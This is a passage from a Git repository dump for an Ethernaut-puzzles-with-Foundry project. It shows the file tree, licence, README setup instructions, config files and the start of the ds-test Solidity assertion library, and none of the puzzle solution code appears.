├── .gitignore ├── .gitmodules ├── .vscode └── settings.json ├── LICENSE ├── README.md ├── foundry.toml ├── img ├── AlienCodex.png ├── CoinFlip.png ├── Delegation.png ├── Denial.png ├── Dex.png ├── DexTwo.png ├── Elevator.png ├── Fallback.png ├── Fallout.png ├── Force.png ├── GatekeeperOne.png ├── GatekeeperTwo.png ├── King.png ├── MagicNum.png ├── Motorbike.png ├── NaughtCoin.png ├── Preservation.png ├── Privacy.png ├── PuzzleWallet.png ├── Recovery.png ├── Reentrance.png ├── Shop.png ├── Telephone.png ├── Token.png └── Vault.png ├── lib └── ds-test │ ├── .gitignore │ ├── LICENSE │ ├── Makefile │ ├── default.nix │ ├── demo │ └── demo.sol │ └── src │ └── test.sol ├── remappings.txt └── src ├── AlienCodex ├── AlienCodex.json ├── AlienCodex.sol ├── Ownable-05.sol └── README.md ├── BaseLevel.sol ├── CoinFlip ├── CoinFlip.sol ├── CoinFlipFactory.sol ├── CoinFlipHack.sol └── README.md ├── Delegation ├── Delegation.sol ├── DelegationFactory.sol └── README.md ├── Denial ├── Denial.sol ├── DenialFactory.sol ├── DenialHack.sol └── README.md ├── Dex ├── Dex.sol ├── DexFactory.sol ├── DexHack.sol └── README.md ├── DexTwo ├── DexTwo.sol ├── DexTwoFactory.sol ├── DexTwoHack.sol └── README.md ├── Elevator ├── Elevator.sol ├── ElevatorFactory.sol ├── ElevatorHack.sol └── README.md ├── Ethernaut.sol ├── Fallback ├── Fallback.sol ├── FallbackFactory.sol └── README.md ├── Fallout ├── Fallout.sol ├── FalloutFactory.sol └── README.md ├── Force ├── Force.sol ├── ForceFactory.sol ├── ForceHack.sol └── README.md ├── GatekeeperOne ├── GatekeeperOne.sol ├── GatekeeperOneFactory.sol ├── GatekeeperOneHack.sol └── README.md ├── GatekeeperTwo ├── GatekeeperTwo.sol ├── GatekeeperTwoFactory.sol ├── GatekeeperTwoHack.sol └── README.md ├── King ├── King.sol ├── KingFactory.sol ├── KingHack.sol └── README.md ├── MagicNum ├── MagicNum.sol ├── MagicNumFactory.sol └── README.md ├── Motorbike ├── Motorbike.sol └── README.md ├── NaughtCoin ├── NaughtCoin.sol ├── NaughtCoinFactory.sol └── README.md ├── Preservation ├── Preservation.sol ├── PreservationFactory.sol ├── PreservationHack.sol └── README.md ├── Privacy ├── Privacy.sol ├── PrivacyFactory.sol └── README.md ├── PuzzleWallet ├── PuzzleWallet.sol ├── PuzzleWalletFactory.sol ├── README.md └── openzeppelin │ ├── Address.sol │ ├── Proxy.sol │ └── UpgradeableProxy.sol ├── Recovery ├── README.md ├── Recovery.sol └── RecoveryFactory.sol ├── Reentrance ├── README.md ├── Reentrance.sol ├── ReentranceFactory.sol └── ReentranceHack.sol ├── Shop ├── README.md ├── Shop.sol ├── ShopFactory.sol └── ShopHack.sol ├── Telephone ├── README.md ├── Telephone.sol ├── TelephoneFactory.sol └── TelephoneHack.sol ├── Token ├── README.md ├── Token.sol └── TokenFactory.sol ├── Vault ├── README.md ├── Vault.sol └── VaultFactory.sol └── test ├── AlienCodex.t.sol ├── CoinFlip.t.sol ├── Delegation.t.sol ├── Denial.t.sol ├── Dex.t.sol ├── DexTwo.t.sol ├── Elevator.t.sol ├── Fallback.t.sol ├── Fallout.t.sol ├── Force.t.sol ├── GatekeeperOne.t.sol ├── GatekeeperTwo.t.sol ├── King.t.sol ├── MagicNum.t.sol ├── Motorbike.t.sol ├── NaughtCoin.sol ├── Preservation.t.sol ├── Privacy.t.sol ├── PuzzleWallet.t.sol ├── Recovery.t.sol ├── Reentrance.t.sol ├── Shop.t.sol ├── Telephone.t.sol ├── Token.t.sol ├── Vault.t.sol └── utils └── vm.sol /.gitignore: -------------------------------------------------------------------------------- 1 | cache/ 2 | out/ -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "test/lib/ds-test"] 2 | path = test/lib/ds-test 3 | url = https://github.com/dapphub/ds-test 4 | [submodule "lib/openzeppelin-contracts"] 5 | path = lib/openzeppelin-contracts 6 | url = https://github.com/OpenZeppelin/openzeppelin-contracts 7 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "solidity.defaultCompiler": "localNodeModule" 3 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 ciaranmcveigh5 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ethernaut-x-foundry 2 | 3 | ## Ethernaut puzzles solved & tested with foundry. 4 | 5 | **Ethernaut** 6 | 7 | https://ethernaut.openzeppelin.com/ 8 | 9 | **Foundry** 10 | 11 | https://github.com/foundry-rs/foundry 12 | 13 | ## Setup 14 | 15 | @0xEval has written an excellent run through of how the repo is configured and how to get setup on it. 16 | 17 | https://eval.hashnode.dev/ethernaut-x-foundry-0x0-hello-ethernaut 18 | 19 | ## Info 20 | 21 | This repo is setup to enable you to run the ethernaut levels locally rather than on Rinkeby. As a result you will see some contracts that are not related to individual level but instead to ethernaut's core contracts which determine if you have passed the level. 22 | 23 | These are the Ethernaut.sol & BaseLevel.sol contracts in the root of ./src and the factory contracts which have a naming convention of [LEVEL_NAME]Factory.sol in each levels repo. Have a read through if interested in what they do otherwise they can be ignored. 24 | 25 | 26 | Make sure you're on the latest version of forge, what is your forge —version output? 27 | If it doesn’t show a date, try rm -rf ~/.cargo/bin/cast && rm -rf ~/.cargo/bin/forge 28 | 29 | 30 | At the root of the repo run 31 | 32 | ``` 33 | foundryup 34 | forge install 35 | forge test 36 | ``` 37 | 38 | **File Locations** 39 | 40 | Individual Levels can be found in their respective folders in the ./src folder. 41 | 42 | Eg [Fallback is located in ./src/Fallback/Fallback.sol](src/Fallback/Fallback.sol) 43 | 44 | 45 | Tests for each level can be found in the ./src/test folder and have the naming convention [LEVEL_NAME].t.sol 46 | 47 | Eg [Fallback test are located in ./src/test/Fallback.t.sol](src/test/Fallback.t.sol) 48 | 49 | 50 | ## Levels 51 | 52 | | Level | 53 | | ------------- | 54 | | [1. Fallback](src/Fallback) | 55 | | [2. Fallout](src/Fallout) | 56 | | [3. CoinFlip](src/CoinFlip) | 57 | | [4. Telephone](src/Telephone) | 58 | | [5. Token](src/Token) | 59 | | [6. Delegation](src/Delegation) | 60 | | [7. Force](src/Force) | 61 | | [8. Vault](src/Vault) | 62 | | [9. King](src/King) | 63 | | [10. Re-Entrancy](src/Reentrance) | 64 | | [11. Elevator](src/Elevator) | 65 | | [12. Privacy](src/Privacy) | 66 | | [13. GatekeeperOne](src/GatekeeperOne) | 67 | | [14. GatekeeperTwo](src/GatekeeperTwo) | 68 | | [15. NaughtCoin](src/NaughtCoin) | 69 | | [16. Preservation](src/Preservation) | 70 | | [17. Recovery](src/Recovery) | 71 | | [18. Magic Number](src/MagicNum) | 72 | | [19. AlienCodex](src/AlienCodex) | 73 | | [20. Denial](src/Denial) | 74 | | [21. Shop](src/Shop) | 75 | | [22. Dex](src/Dex) | 76 | | [23. Dex Two](src/DexTwo) | 77 | | [24. PuzzleWallet](src/PuzzleWallet) | 78 | | [25. Motorbike](src/Motorbike) | 79 | 80 | ## References 81 | 82 | @cmichelio for his hardhat x ethernaut repo 83 | https://github.com/MrToph/ethernaut 84 | 85 | @0xSage for his great ethernaut tutorials - breaking down how each level can be defeated 86 | https://medium.com/hackernoon/ethernaut-lvl-0-walkthrough-abis-web3-and-how-to-abuse-them-d92a8842d71b 87 | 88 | @gakonst for his help on the foundry support channels and the tool itself 89 | https://github.com/gakonst/foundry 90 | 91 | @the_ethernaut for the puzzles to solve & learn from 92 | https://ethernaut.openzeppelin.com/level/0x9CB391dbcD447E645D6Cb55dE6ca23164130D008 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [default] 2 | src = 'src' 3 | out = 'out' 4 | libs = ['lib'] 5 | remappings = ['ds-test/=lib/ds-test/src/'] 6 | 7 | # See more config options https://github.com/gakonst/foundry/tree/master/config -------------------------------------------------------------------------------- /img/AlienCodex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/AlienCodex.png -------------------------------------------------------------------------------- /img/CoinFlip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/CoinFlip.png -------------------------------------------------------------------------------- /img/Delegation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Delegation.png -------------------------------------------------------------------------------- /img/Denial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Denial.png -------------------------------------------------------------------------------- /img/Dex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Dex.png -------------------------------------------------------------------------------- /img/DexTwo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/DexTwo.png -------------------------------------------------------------------------------- /img/Elevator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Elevator.png -------------------------------------------------------------------------------- /img/Fallback.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Fallback.png -------------------------------------------------------------------------------- /img/Fallout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Fallout.png -------------------------------------------------------------------------------- /img/Force.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Force.png -------------------------------------------------------------------------------- /img/GatekeeperOne.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/GatekeeperOne.png -------------------------------------------------------------------------------- /img/GatekeeperTwo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/GatekeeperTwo.png -------------------------------------------------------------------------------- /img/King.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/King.png -------------------------------------------------------------------------------- /img/MagicNum.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/MagicNum.png -------------------------------------------------------------------------------- /img/Motorbike.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Motorbike.png -------------------------------------------------------------------------------- /img/NaughtCoin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/NaughtCoin.png -------------------------------------------------------------------------------- /img/Preservation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Preservation.png -------------------------------------------------------------------------------- /img/Privacy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Privacy.png -------------------------------------------------------------------------------- /img/PuzzleWallet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/PuzzleWallet.png -------------------------------------------------------------------------------- /img/Recovery.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Recovery.png -------------------------------------------------------------------------------- /img/Reentrance.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Reentrance.png -------------------------------------------------------------------------------- /img/Shop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Shop.png -------------------------------------------------------------------------------- /img/Telephone.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Telephone.png -------------------------------------------------------------------------------- /img/Token.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Token.png -------------------------------------------------------------------------------- /img/Vault.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ciaranmcveigh5/ethernaut-x-foundry/de9b2abf6b07d08d608df8a727632bf37d91c305/img/Vault.png -------------------------------------------------------------------------------- /lib/ds-test/.gitignore: -------------------------------------------------------------------------------- 1 | /.dapple 2 | /build 3 | /out 4 | -------------------------------------------------------------------------------- /lib/ds-test/Makefile: -------------------------------------------------------------------------------- 1 | all:; dapp build 2 | 3 | test: 4 | -dapp --use solc:0.4.23 build 5 | -dapp --use solc:0.4.26 build 6 | -dapp --use solc:0.5.17 build 7 | -dapp --use solc:0.6.12 build 8 | -dapp --use solc:0.7.5 build 9 | 10 | demo: 11 | DAPP_SRC=demo dapp --use solc:0.7.5 build 12 | -hevm dapp-test --verbose 3 13 | 14 | .PHONY: test demo 15 | -------------------------------------------------------------------------------- /lib/ds-test/default.nix: -------------------------------------------------------------------------------- 1 | { solidityPackage, dappsys }: solidityPackage { 2 | name = "ds-test"; 3 | src = ./src; 4 | } 5 | -------------------------------------------------------------------------------- /lib/ds-test/demo/demo.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-or-later 2 | pragma solidity >=0.4.23; 3 | 4 | import "../src/test.sol"; 5 | 6 | contract DemoTest is DSTest { 7 | function test_this() public pure { 8 | require(true); 9 | } 10 | function test_logs() public { 11 | emit log("-- log(string)"); 12 | emit log("a string"); 13 | 14 | emit log("-- log_named_uint(string, uint)"); 15 | log_named_uint("uint", 512); 16 | 17 | emit log("-- log_named_int(string, int)"); 18 | log_named_int("int", -512); 19 | 20 | emit log("-- log_named_address(string, address)"); 21 | log_named_address("address", address(this)); 22 | 23 | emit log("-- log_named_bytes32(string, bytes32)"); 24 | log_named_bytes32("bytes32", "a string"); 25 | 26 | emit log("-- log_named_bytes(string, bytes)"); 27 | log_named_bytes("bytes", hex"cafefe"); 28 | 29 | emit log("-- log_named_string(string, string)"); 30 | log_named_string("string", "a string"); 31 | 32 | emit log("-- log_named_decimal_uint(string, uint, uint)"); 33 | log_named_decimal_uint("decimal uint", 1.0e18, 18); 34 | 35 | emit log("-- log_named_decimal_int(string, int, uint)"); 36 | log_named_decimal_int("decimal int", -1.0e18, 18); 37 | } 38 | event log_old_named_uint(bytes32,uint); 39 | function test_old_logs() public { 40 | log_old_named_uint("key", 500); 41 | log_named_bytes32("bkey", "val"); 42 | } 43 | function test_trace() public view { 44 | this.echo("string 1", "string 2"); 45 | } 46 | function test_multiline() public { 47 | emit log("a multiline\\n" "string"); 48 | emit log("a multiline " "string"); 49 | log_bytes("a string"); 50 | log_bytes("a multiline\n" "string"); 51 | log_bytes("a multiline\\n" "string"); 52 | emit log(unicode"Ώ"); 53 | logs(hex"0000"); 54 | log_named_bytes("0x0000", hex"0000"); 55 | logs(hex"ff"); 56 | } 57 | function echo(string memory s1, string memory s2) public pure 58 | returns (string memory, string memory) 59 | { 60 | return (s1, s2); 61 | } 62 | 63 | function prove_this(uint x) public { 64 | log_named_uint("sym x", x); 65 | assertGt(x + 1, 0); 66 | } 67 | 68 | function test_logn() public { 69 | assembly { 70 | log0(0x01, 0x02) 71 | log1(0x01, 0x02, 0x03) 72 | log2(0x01, 0x02, 0x03, 0x04) 73 | log3(0x01, 0x02, 0x03, 0x04, 0x05) 74 | } 75 | } 76 | 77 | event MyEvent(uint, uint indexed, uint, uint indexed); 78 | function test_events() public { 79 | emit MyEvent(1, 2, 3, 4); 80 | } 81 | 82 | function test_asserts() public { 83 | string memory err = "this test has failed!"; 84 | emit log("## assertTrue(bool)\n"); 85 | assertTrue(false); 86 | emit log("\n"); 87 | assertTrue(false, err); 88 | 89 | emit log("\n## assertEq(address,address)\n"); 90 | assertEq(address(this), msg.sender); 91 | emit log("\n"); 92 | assertEq(address(this), msg.sender, err); 93 | 94 | emit log("\n## assertEq32(bytes32,bytes32)\n"); 95 | assertEq32("bytes 1", "bytes 2"); 96 | emit log("\n"); 97 | assertEq32("bytes 1", "bytes 2", err); 98 | 99 | emit log("\n## assertEq(bytes32,bytes32)\n"); 100 | assertEq32("bytes 1", "bytes 2"); 101 | emit log("\n"); 102 | assertEq32("bytes 1", "bytes 2", err); 103 | 104 | emit log("\n## assertEq(uint,uint)\n"); 105 | assertEq(uint(0), 1); 106 | emit log("\n"); 107 | assertEq(uint(0), 1, err); 108 | 109 | emit log("\n## assertEq(int,int)\n"); 110 | assertEq(-1, -2); 111 | emit log("\n"); 112 | assertEq(-1, -2, err); 113 | 114 | emit log("\n## assertEqDecimal(int,int,uint)\n"); 115 | assertEqDecimal(-1.0e18, -1.1e18, 18); 116 | emit log("\n"); 117 | assertEqDecimal(-1.0e18, -1.1e18, 18, err); 118 | 119 | emit log("\n## assertEqDecimal(uint,uint,uint)\n"); 120 | assertEqDecimal(uint(1.0e18), 1.1e18, 18); 121 | emit log("\n"); 122 | assertEqDecimal(uint(1.0e18), 1.1e18, 18, err); 123 | 124 | emit log("\n## assertGt(uint,uint)\n"); 125 | assertGt(uint(0), 0); 126 | emit log("\n"); 127 | assertGt(uint(0), 0, err); 128 | 129 | emit log("\n## assertGt(int,int)\n"); 130 | assertGt(-1, -1); 131 | emit log("\n"); 132 | assertGt(-1, -1, err); 133 | 134 | emit log("\n## assertGtDecimal(int,int,uint)\n"); 135 | assertGtDecimal(-2.0e18, -1.1e18, 18); 136 | emit log("\n"); 137 | assertGtDecimal(-2.0e18, -1.1e18, 18, err); 138 | 139 | emit log("\n## assertGtDecimal(uint,uint,uint)\n"); 140 | assertGtDecimal(uint(1.0e18), 1.1e18, 18); 141 | emit log("\n"); 142 | assertGtDecimal(uint(1.0e18), 1.1e18, 18, err); 143 | 144 | emit log("\n## assertGe(uint,uint)\n"); 145 | assertGe(uint(0), 1); 146 | emit log("\n"); 147 | assertGe(uint(0), 1, err); 148 | 149 | emit log("\n## assertGe(int,int)\n"); 150 | assertGe(-1, 0); 151 | emit log("\n"); 152 | assertGe(-1, 0, err); 153 | 154 | emit log("\n## assertGeDecimal(int,int,uint)\n"); 155 | assertGeDecimal(-2.0e18, -1.1e18, 18); 156 | emit log("\n"); 157 | assertGeDecimal(-2.0e18, -1.1e18, 18, err); 158 | 159 | emit log("\n## assertGeDecimal(uint,uint,uint)\n"); 160 | assertGeDecimal(uint(1.0e18), 1.1e18, 18); 161 | emit log("\n"); 162 | assertGeDecimal(uint(1.0e18), 1.1e18, 18, err); 163 | 164 | emit log("\n## assertLt(uint,uint)\n"); 165 | assertLt(uint(0), 0); 166 | emit log("\n"); 167 | assertLt(uint(0), 0, err); 168 | 169 | emit log("\n## assertLt(int,int)\n"); 170 | assertLt(-1, -1); 171 | emit log("\n"); 172 | assertLt(-1, -1, err); 173 | 174 | emit log("\n## assertLtDecimal(int,int,uint)\n"); 175 | assertLtDecimal(-1.0e18, -1.1e18, 18); 176 | emit log("\n"); 177 | assertLtDecimal(-1.0e18, -1.1e18, 18, err); 178 | 179 | emit log("\n## assertLtDecimal(uint,uint,uint)\n"); 180 | assertLtDecimal(uint(2.0e18), 1.1e18, 18); 181 | emit log("\n"); 182 | assertLtDecimal(uint(2.0e18), 1.1e18, 18, err); 183 | 184 | emit log("\n## assertLe(uint,uint)\n"); 185 | assertLe(uint(1), 0); 186 | emit log("\n"); 187 | assertLe(uint(1), 0, err); 188 | 189 | emit log("\n## assertLe(int,int)\n"); 190 | assertLe(0, -1); 191 | emit log("\n"); 192 | assertLe(0, -1, err); 193 | 194 | emit log("\n## assertLeDecimal(int,int,uint)\n"); 195 | assertLeDecimal(-1.0e18, -1.1e18, 18); 196 | emit log("\n"); 197 | assertLeDecimal(-1.0e18, -1.1e18, 18, err); 198 | 199 | emit log("\n## assertLeDecimal(uint,uint,uint)\n"); 200 | assertLeDecimal(uint(2.0e18), 1.1e18, 18); 201 | emit log("\n"); 202 | assertLeDecimal(uint(2.0e18), 1.1e18, 18, err); 203 | 204 | emit log("\n## assertEq(string,string)\n"); 205 | string memory s1 = "string 1"; 206 | string memory s2 = "string 2"; 207 | assertEq(s1, s2); 208 | emit log("\n"); 209 | assertEq(s1, s2, err); 210 | 211 | emit log("\n## assertEq0(bytes,bytes)\n"); 212 | assertEq0(hex"abcdef01", hex"abcdef02"); 213 | log("\n"); 214 | assertEq0(hex"abcdef01", hex"abcdef02", err); 215 | } 216 | } 217 | 218 | contract DemoTestWithSetUp { 219 | function setUp() public { 220 | } 221 | function test_pass() public pure { 222 | } 223 | } 224 | -------------------------------------------------------------------------------- /lib/ds-test/src/test.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-or-later 2 | 3 | // This program is free software: you can redistribute it and/or modify 4 | // it under the terms of the GNU General Public License as published by 5 | // the Free Software Foundation, either version 3 of the License, or 6 | // (at your option) any later version. 7 | 8 | // This program is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | // GNU General Public License for more details. 12 | 13 | // You should have received a copy of the GNU General Public License 14 | // along with this program. If not, see . 15 | 16 | pragma solidity >=0.4.23; 17 | 18 | contract DSTest { 19 | event log (string); 20 | event logs (bytes); 21 | 22 | event log_address (address); 23 | event log_bytes32 (bytes32); 24 | event log_int (int); 25 | event log_uint (uint); 26 | event log_bytes (bytes); 27 | event log_string (string); 28 | 29 | event log_named_address (string key, address val); 30 | event log_named_bytes32 (string key, bytes32 val); 31 | event log_named_decimal_int (string key, int val, uint decimals); 32 | event log_named_decimal_uint (string key, uint val, uint decimals); 33 | event log_named_int (string key, int val); 34 | event log_named_uint (string key, uint val); 35 | event log_named_bytes (string key, bytes val); 36 | event log_named_string (string key, string val); 37 | 38 | bool public IS_TEST = true; 39 | bool public failed; 40 | 41 | address constant HEVM_ADDRESS = 42 | address(bytes20(uint160(uint256(keccak256('hevm cheat code'))))); 43 | 44 | modifier mayRevert() { _; } 45 | modifier testopts(string memory) { _; } 46 | 47 | function fail() internal { 48 | failed = true; 49 | } 50 | 51 | modifier logs_gas() { 52 | uint startGas = gasleft(); 53 | _; 54 | uint endGas = gasleft(); 55 | emit log_named_uint("gas", startGas - endGas); 56 | } 57 | 58 | function assertTrue(bool condition) internal { 59 | if (!condition) { 60 | emit log("Error: Assertion Failed"); 61 | fail(); 62 | } 63 | } 64 | 65 | function assertTrue(bool condition, string memory err) internal { 66 | if (!condition) { 67 | emit log_named_string("Error", err); 68 | assertTrue(condition); 69 | } 70 | } 71 | 72 | function assertEq(address a, address b) internal { 73 | if (a != b) { 74 | emit log("Error: a == b not satisfied [address]"); 75 | emit log_named_address(" Expected", b); 76 | emit log_named_address(" Actual", a); 77 | fail(); 78 | } 79 | } 80 | function assertEq(address a, address b, string memory err) internal { 81 | if (a != b) { 82 | emit log_named_string ("Error", err); 83 | assertEq(a, b); 84 | } 85 | } 86 | 87 | function assertEq(bytes32 a, bytes32 b) internal { 88 | if (a != b) { 89 | emit log("Error: a == b not satisfied [bytes32]"); 90 | emit log_named_bytes32(" Expected", b); 91 | emit log_named_bytes32(" Actual", a); 92 | fail(); 93 | } 94 | } 95 | function assertEq(bytes32 a, bytes32 b, string memory err) internal { 96 | if (a != b) { 97 | emit log_named_string ("Error", err); 98 | assertEq(a, b); 99 | } 100 | } 101 | function assertEq32(bytes32 a, bytes32 b) internal { 102 | assertEq(a, b); 103 | } 104 | function assertEq32(bytes32 a, bytes32 b, string memory err) internal { 105 | assertEq(a, b, err); 106 | } 107 | 108 | function assertEq(int a, int b) internal { 109 | if (a != b) { 110 | emit log("Error: a == b not satisfied [int]"); 111 | emit log_named_int(" Expected", b); 112 | emit log_named_int(" Actual", a); 113 | fail(); 114 | } 115 | } 116 | function assertEq(int a, int b, string memory err) internal { 117 | if (a != b) { 118 | emit log_named_string("Error", err); 119 | assertEq(a, b); 120 | } 121 | } 122 | function assertEq(uint a, uint b) internal { 123 | if (a != b) { 124 | emit log("Error: a == b not satisfied [uint]"); 125 | emit log_named_uint(" Expected", b); 126 | emit log_named_uint(" Actual", a); 127 | fail(); 128 | } 129 | } 130 | function assertEq(uint a, uint b, string memory err) internal { 131 | if (a != b) { 132 | emit log_named_string("Error", err); 133 | assertEq(a, b); 134 | } 135 | } 136 | function assertEqDecimal(int a, int b, uint decimals) internal { 137 | if (a != b) { 138 | emit log("Error: a == b not satisfied [decimal int]"); 139 | emit log_named_decimal_int(" Expected", b, decimals); 140 | emit log_named_decimal_int(" Actual", a, decimals); 141 | fail(); 142 | } 143 | } 144 | function assertEqDecimal(int a, int b, uint decimals, string memory err) internal { 145 | if (a != b) { 146 | emit log_named_string("Error", err); 147 | assertEqDecimal(a, b, decimals); 148 | } 149 | } 150 | function assertEqDecimal(uint a, uint b, uint decimals) internal { 151 | if (a != b) { 152 | emit log("Error: a == b not satisfied [decimal uint]"); 153 | emit log_named_decimal_uint(" Expected", b, decimals); 154 | emit log_named_decimal_uint(" Actual", a, decimals); 155 | fail(); 156 | } 157 | } 158 | function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal { 159 | if (a != b) { 160 | emit log_named_string("Error", err); 161 | assertEqDecimal(a, b, decimals); 162 | } 163 | } 164 | 165 | function assertGt(uint a, uint b) internal { 166 | if (a <= b) { 167 | emit log("Error: a > b not satisfied [uint]"); 168 | emit log_named_uint(" Value a", a); 169 | emit log_named_uint(" Value b", b); 170 | fail(); 171 | } 172 | } 173 | function assertGt(uint a, uint b, string memory err) internal { 174 | if (a <= b) { 175 | emit log_named_string("Error", err); 176 | assertGt(a, b); 177 | } 178 | } 179 | function assertGt(int a, int b) internal { 180 | if (a <= b) { 181 | emit log("Error: a > b not satisfied [int]"); 182 | emit log_named_int(" Value a", a); 183 | emit log_named_int(" Value b", b); 184 | fail(); 185 | } 186 | } 187 | function assertGt(int a, int b, string memory err) internal { 188 | if (a <= b) { 189 | emit log_named_string("Error", err); 190 | assertGt(a, b); 191 | } 192 | } 193 | function assertGtDecimal(int a, int b, uint decimals) internal { 194 | if (a <= b) { 195 | emit log("Error: a > b not satisfied [decimal int]"); 196 | emit log_named_decimal_int(" Value a", a, decimals); 197 | emit log_named_decimal_int(" Value b", b, decimals); 198 | fail(); 199 | } 200 | } 201 | function assertGtDecimal(int a, int b, uint decimals, string memory err) internal { 202 | if (a <= b) { 203 | emit log_named_string("Error", err); 204 | assertGtDecimal(a, b, decimals); 205 | } 206 | } 207 | function assertGtDecimal(uint a, uint b, uint decimals) internal { 208 | if (a <= b) { 209 | emit log("Error: a > b not satisfied [decimal uint]"); 210 | emit log_named_decimal_uint(" Value a", a, decimals); 211 | emit log_named_decimal_uint(" Value b", b, decimals); 212 | fail(); 213 | } 214 | } 215 | function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal { 216 | if (a <= b) { 217 | emit log_named_string("Error", err); 218 | assertGtDecimal(a, b, decimals); 219 | } 220 | } 221 | 222 | function assertGe(uint a, uint b) internal { 223 | if (a < b) { 224 | emit log("Error: a >= b not satisfied [uint]"); 225 | emit log_named_uint(" Value a", a); 226 | emit log_named_uint(" Value b", b); 227 | fail(); 228 | } 229 | } 230 | function assertGe(uint a, uint b, string memory err) internal { 231 | if (a < b) { 232 | emit log_named_string("Error", err); 233 | assertGe(a, b); 234 